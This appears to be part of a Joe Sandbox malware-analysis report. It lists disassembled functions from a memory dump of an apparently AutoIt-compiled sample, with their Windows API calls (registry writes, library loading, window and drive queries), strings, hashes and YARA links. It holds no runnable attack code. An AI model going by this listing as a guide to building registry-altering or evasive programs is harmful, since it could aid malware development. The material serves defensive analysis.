Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 9962e428fe9b9e884370411c14ce3de91c9cd2b6699430234bd0c34a21a8b073
Instruction ID: 3bb704898f3d1ba496866a42cbedfd77a73e0a0bee144f91acd4345967510d4b
Opcode Fuzzy Hash: 9962e428fe9b9e884370411c14ce3de91c9cd2b6699430234bd0c34a21a8b073
Instruction Fuzzy Hash: B1718F7590120AEBDF209FA5DC45FEFBBB8BF05300F044126F919A6291D7B4D986CB68

Function 0043C3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0043C4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,0044CC08,00000000,?,00000000,?,?), ref: 0043C544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 0043C5A4
_wcslen.LIBCMT ref: 0043C5F4
_wcslen.LIBCMT ref: 0043C66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 0043C6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 0043C7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 0043C84D
RegCloseKey.ADVAPI32(?), ref: 0043C881
RegCloseKey.ADVAPI32(00000000), ref: 0043C88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 0043C960

Strings

REG_QWORD, xrefs: 0043C8C3
REG_DWORD, xrefs: 0043C804
REG_SZ, xrefs: 0043C644
REG_BINARY, xrefs: 0043C913
REG_MULTI_SZ, xrefs: 0043C6F5
REG_EXPAND_SZ, xrefs: 0043C5CD

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: e60a3342815ffcb8d37217ecfdb91d9e982a21c635688a2ac6701331c8db32e6
Instruction ID: d1107b04bf85d0c9dc81a4dcf9d8b28cdeca4588113591d3782323f37698d029
Opcode Fuzzy Hash: e60a3342815ffcb8d37217ecfdb91d9e982a21c635688a2ac6701331c8db32e6
Instruction Fuzzy Hash: DC128A352042019FC715DF14C881B6AB7E5EF89718F14889EF98AAB7A2DB35FD01CB85

Function 0044091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 004409C6
_wcslen.LIBCMT ref: 00440A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00440A54
_wcslen.LIBCMT ref: 00440A8A
_wcslen.LIBCMT ref: 00440B06
_wcslen.LIBCMT ref: 00440B81

Part of subcall function 003CF9F2: _wcslen.LIBCMT ref: 003CF9FD

Part of subcall function 00412BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00412BFA

Strings

ISCHECKED, xrefs: 00440CE1
GETTOTALCOUNT, xrefs: 004409F2, 00440A17
EXISTS, xrefs: 00440B7C, 00440B97
GETTEXT, xrefs: 00440C97
GETITEMCOUNT, xrefs: 00440C1E
COLLAPSE, xrefs: 00440B01, 00440B1C
GETSELECTED, xrefs: 00440C4E
CHECK, xrefs: 00440A85, 00440AA0
UNCHECK, xrefs: 00440D3E
EXPAND, xrefs: 00440BF8
SELECT, xrefs: 00440D11

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: b93541e53098846d0c764eacf2c87218551ac02d088308ad9da5f3eefc49ba9a
Instruction ID: b858df297180d3eb3e5d9cd2db5723e2eb8c77b98687b6e9409c8c07d0b96bdc
Opcode Fuzzy Hash: b93541e53098846d0c764eacf2c87218551ac02d088308ad9da5f3eefc49ba9a
Instruction Fuzzy Hash: 0BE1F2312083018FC714DF24C45196AB7E1FF98308F14895EF99AAB762D738ED56CB8A

Function 0043C998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,0043B6AE,?,?), ref: 0043C9B5
_wcslen.LIBCMT ref: 0043C9F1
_wcslen.LIBCMT ref: 0043CA68
_wcslen.LIBCMT ref: 0043CA9E
_wcslen.LIBCMT ref: 0043CAF9
_wcslen.LIBCMT ref: 0043CB2F
_wcslen.LIBCMT ref: 0043CB7F

Strings

HKLM, xrefs: 0043CA98, 0043CA9D
HKEY_LOCAL_MACHINE, xrefs: 0043CA62, 0043CA67
HKEY_USERS, xrefs: 0043CBDF
HKEY_CURRENT_CONFIG, xrefs: 0043CB79, 0043CB7E
HKCU, xrefs: 0043CBCE
HKCC, xrefs: 0043CBAC
HKU, xrefs: 0043CBF0
HKEY_CLASSES_ROOT, xrefs: 0043CAF3, 0043CAF8
HKCR, xrefs: 0043CB29, 0043CB2E
HKEY_CURRENT_USER, xrefs: 0043CBBD

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: 597bae2c14bba70fb4ab405f6e2a3fb6b564fcf76c936097875f26c16e598f8b
Instruction ID: ad45dffe594e05d2618a350962c87873383182a6d0d917edbb5b1270a8b98182
Opcode Fuzzy Hash: 597bae2c14bba70fb4ab405f6e2a3fb6b564fcf76c936097875f26c16e598f8b
Instruction Fuzzy Hash: A171F53360012A8BCB10EE68DC916FB33919B68754F21612BE865BB384E739DD458399

Function 0044833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0044835A
_wcslen.LIBCMT ref: 0044836E
_wcslen.LIBCMT ref: 00448391
_wcslen.LIBCMT ref: 004483B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 004483F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00445BF2), ref: 0044844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00448487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 004484CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00448501
FreeLibrary.KERNEL32(?), ref: 0044850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0044851D
DestroyIcon.USER32(?,?,?,?,?,00445BF2), ref: 0044852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00448549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00448555

Strings

.dll, xrefs: 004483AB
.exe, xrefs: 00448388
.icl, xrefs: 00448368

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: 8dde8f2a8b2f0a3ac9063408b333719997d50d640b9f5c4734fafcf049e6ae89
Instruction ID: 853d03a969eeed0c7165d102e7f8d0d6f153d4c7f06d26ba085810a04b80b34c
Opcode Fuzzy Hash: 8dde8f2a8b2f0a3ac9063408b333719997d50d640b9f5c4734fafcf049e6ae89
Instruction Fuzzy Hash: D761F171900215BBFB14CF64DC81BFF77A8BB04B11F10461AF915DA2D1EB78AA80CBA4

Function 003B7778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

#notrayicon, xrefs: 003B77E7
', xrefs: 003F5169
#include-once, xrefs: 003B782F
", xrefs: 003F5153
#pragma compile, xrefs: 003B77D3
#ce, xrefs: 003B78ED
Unterminated group of comments, xrefs: 003F528C
#OnAutoItStartRegister, xrefs: 003B7817
#comments-end, xrefs: 003B78D9
#cs, xrefs: 003B7873, 003B78C5
#comments-start, xrefs: 003B785F, 003B78B1
#requireadmin, xrefs: 003B77FF
Cannot parse #include, xrefs: 003F5279
Bad directive syntax error, xrefs: 003F519A
#include, xrefs: 003B7847

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: fa6b712d063a1e0c5b145c8e2722193e106eab7747764965afe14894f82e71bd
Instruction ID: 7fab878516d08c4ee19de0f64af3d4a1754848020a21d4dc84bb2911c89c63f7
Opcode Fuzzy Hash: fa6b712d063a1e0c5b145c8e2722193e106eab7747764965afe14894f82e71bd
Instruction Fuzzy Hash: 8F81E271A00209BBDB22AF60DC43FFA37A9EF55304F154026FB05AE592EB75AA11D790

Function 00423E79 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 205COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00423EF8
_wcslen.LIBCMT ref: 00423F03
_wcslen.LIBCMT ref: 00423F5A
_wcslen.LIBCMT ref: 00423F98
GetDriveTypeW.KERNEL32(?), ref: 00423FD6
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0042401E
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00424059
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00424087

Strings

close, xrefs: 00423EFE, 00423F18
open, xrefs: 00423F54, 00423F59
close cd wait, xrefs: 00424072
open , xrefs: 00423FE5
type cdaudio alias cd wait, xrefs: 00424001
closed, xrefs: 00423F08, 00423F2D, 00423F46, 00423F7E, 00423F97
wait, xrefs: 00424044
set cd door , xrefs: 00424028

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: SendString_wcslen$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1839972693-4113822522
Opcode ID: 5b9363753a633c26430e2210410e8821377e65154db70e96a0997ea9355728bb
Instruction ID: 1c8b1384581a4da15b22ffe4de3927fc2d97d1666517872b1ef5bd7c05adab11
Opcode Fuzzy Hash: 5b9363753a633c26430e2210410e8821377e65154db70e96a0997ea9355728bb
Instruction Fuzzy Hash: F17122326042218FC310EF24D8819ABB7F4EF94758F51892EFA959B351EB38ED49CB45

Function 00415A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00415A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00415A40
SetWindowTextW.USER32(?,?), ref: 00415A57
GetDlgItem.USER32(?,000003EA), ref: 00415A6C
SetWindowTextW.USER32(00000000,?), ref: 00415A72
GetDlgItem.USER32(?,000003E9), ref: 00415A82
SetWindowTextW.USER32(00000000,?), ref: 00415A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00415AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00415AC3
GetWindowRect.USER32(?,?), ref: 00415ACC
_wcslen.LIBCMT ref: 00415B33
SetWindowTextW.USER32(?,?), ref: 00415B6F
GetDesktopWindow.USER32 ref: 00415B75
GetWindowRect.USER32(00000000), ref: 00415B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00415BD3
GetClientRect.USER32(?,?), ref: 00415BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 00415C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00415C2F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: 74bc363e33b68157d9cc49e9248c239a9b4d52831ec64c4219990c888fc6b316
Instruction ID: cc04c5a136c903036512c9b13869d5661c610421654299a09eee57ca4209f4f2
Opcode Fuzzy Hash: 74bc363e33b68157d9cc49e9248c239a9b4d52831ec64c4219990c888fc6b316
Instruction Fuzzy Hash: 47718F31900B05DFDB20DFA9CE85AEEBBF5FF88704F144529E542A26A0D775B940CB58

Function 0042FE0E Relevance: 27.1, APIs: 18, Instructions: 128COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 0042FE27
LoadCursorW.USER32(00000000,00007F8A), ref: 0042FE32
LoadCursorW.USER32(00000000,00007F00), ref: 0042FE3D
LoadCursorW.USER32(00000000,00007F03), ref: 0042FE48
LoadCursorW.USER32(00000000,00007F8B), ref: 0042FE53
LoadCursorW.USER32(00000000,00007F01), ref: 0042FE5E
LoadCursorW.USER32(00000000,00007F81), ref: 0042FE69
LoadCursorW.USER32(00000000,00007F88), ref: 0042FE74
LoadCursorW.USER32(00000000,00007F80), ref: 0042FE7F
LoadCursorW.USER32(00000000,00007F86), ref: 0042FE8A
LoadCursorW.USER32(00000000,00007F83), ref: 0042FE95
LoadCursorW.USER32(00000000,00007F85), ref: 0042FEA0
LoadCursorW.USER32(00000000,00007F82), ref: 0042FEAB
LoadCursorW.USER32(00000000,00007F84), ref: 0042FEB6
LoadCursorW.USER32(00000000,00007F04), ref: 0042FEC1
LoadCursorW.USER32(00000000,00007F02), ref: 0042FECC
GetCursorInfo.USER32(?), ref: 0042FEDC
GetLastError.KERNEL32 ref: 0042FF1E

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: dc4bed2cddc05ff5e379186901ae800392f50f5e73379d1e88e02f2ae3276216
Instruction ID: 8c6caa3b61c020422ba5bb54385abd98600dcf46c3f2150a72df3b5c5de80507
Opcode Fuzzy Hash: dc4bed2cddc05ff5e379186901ae800392f50f5e73379d1e88e02f2ae3276216
Instruction Fuzzy Hash: 6B4172B0E043196ADB109FBA9C8585EBFF8BF04354B90413AE11CEB281DB78A8018F94

Function 004130F7 Relevance: 26.6, APIs: 8, Strings: 7, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0041318D
_wcslen.LIBCMT ref: 004131F8

Strings

CLASSNN, xrefs: 004131F3, 00413204
[G, xrefs: 0041339A
TEXT, xrefs: 0041347C
CLASS, xrefs: 00413188, 004131A5
INSTANCE, xrefs: 00413453
NAME, xrefs: 00413335, 00413346
REGEXPCLASS, xrefs: 00413255, 00413266

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT$[G
API String ID: 176396367-143033165
Opcode ID: 919a2f1029db8d7a294bd87cbe820f2f45d2dbb2561d5d2fd1a8b1498633f905
Instruction ID: 5e5532ab242e250a8425d4c998ed9ac13062ac478c07258deb8741e84e5a104a
Opcode Fuzzy Hash: 919a2f1029db8d7a294bd87cbe820f2f45d2dbb2561d5d2fd1a8b1498633f905
Instruction Fuzzy Hash: C6E1F432A00516ABCB15DF78C851BEEBBB5BF04711F24812BE456EB340DB38AEC58794

Function 0044911E Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 003C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 003C9BB2

DragQueryPoint.SHELL32(?,?), ref: 00449147

Part of subcall function 00447674: ClientToScreen.USER32(?,?), ref: 0044769A
Part of subcall function 00447674: GetWindowRect.USER32(?,?), ref: 00447710
Part of subcall function 00447674: PtInRect.USER32(?,?,00448B89), ref: 00447720

SendMessageW.USER32(?,000000B0,?,?), ref: 004491B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 004491BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 004491DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00449225
SendMessageW.USER32(?,000000B0,?,?), ref: 0044923E
SendMessageW.USER32(?,000000B1,?,?), ref: 00449255
SendMessageW.USER32(?,000000B1,?,?), ref: 00449277
DragFinish.SHELL32(?), ref: 0044927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00449371

Strings

@GUI_DRAGID, xrefs: 004492E9
8Y, xrefs: 0044917D, 004491EA
@GUI_DRAGFILE, xrefs: 00449320
p#H, xrefs: 004492BB
@GUI_DROPID, xrefs: 0044929E

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: 8Y$@GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$p#H
API String ID: 221274066-2780807311
Opcode ID: 70beec3ddfa39b8c02e29000a922804ccd3d8bc0f65f590a2ba7275153db3d68
Instruction ID: 10abd8b6bdddb4ec7adc850bac50b3488575e7d534a6a1a98a7e241bf1bff564
Opcode Fuzzy Hash: 70beec3ddfa39b8c02e29000a922804ccd3d8bc0f65f590a2ba7275153db3d68
Instruction Fuzzy Hash: 74618871108300AFD701EF60DC85EAFBBE8EF89754F00092EFA95971A0DB709A09CB56

Function 003D00C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 003D00C6

Part of subcall function 003D00ED: InitializeCriticalSectionAndSpinCount.KERNEL32(0048070C,00000FA0,86E3F5E1,?,?,?,?,003F23B3,000000FF), ref: 003D011C
Part of subcall function 003D00ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,003F23B3,000000FF), ref: 003D0127
Part of subcall function 003D00ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,003F23B3,000000FF), ref: 003D0138
Part of subcall function 003D00ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 003D014E
Part of subcall function 003D00ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 003D015C
Part of subcall function 003D00ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 003D016A
Part of subcall function 003D00ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 003D0195
Part of subcall function 003D00ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 003D01A0

___scrt_fastfail.LIBCMT ref: 003D00E7

Part of subcall function 003D00A3: __onexit.LIBCMT ref: 003D00A9

Strings

WakeAllConditionVariable, xrefs: 003D0162
SleepConditionVariableCS, xrefs: 003D0154
kernel32.dll, xrefs: 003D0133
api-ms-win-core-synch-l1-2-0.dll, xrefs: 003D0122
InitializeConditionVariable, xrefs: 003D0148

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: bc72fa33678e38fba43ab146baea29b284db4d5aaef3c18de4ff3d207cb9a9db
Instruction ID: 68b36fa1dd2ea7016a8520bf8ec2e7d81c7bbd86c2f343948f704e9a31623a75
Opcode Fuzzy Hash: bc72fa33678e38fba43ab146baea29b284db4d5aaef3c18de4ff3d207cb9a9db
Instruction Fuzzy Hash: FC214637A013106BE7566BB4BC46B6E3394EB05F51F15053BF802E6391DB749C008B98

Function 004244C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,0044CC08), ref: 00424527
_wcslen.LIBCMT ref: 0042453B
_wcslen.LIBCMT ref: 00424599
_wcslen.LIBCMT ref: 004245F4
_wcslen.LIBCMT ref: 0042463F
_wcslen.LIBCMT ref: 004246A7

Part of subcall function 003CF9F2: _wcslen.LIBCMT ref: 003CF9FD

GetDriveTypeW.KERNEL32(?,00476BF0,00000061), ref: 00424743

Strings

ramdisk, xrefs: 004246F1
cdrom, xrefs: 0042458F, 00424594
fixed, xrefs: 00424635, 0042463A
unknown, xrefs: 00424708
all, xrefs: 00424531, 00424536
removable, xrefs: 004245EA, 004245EF
network, xrefs: 0042469D, 004246A2

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
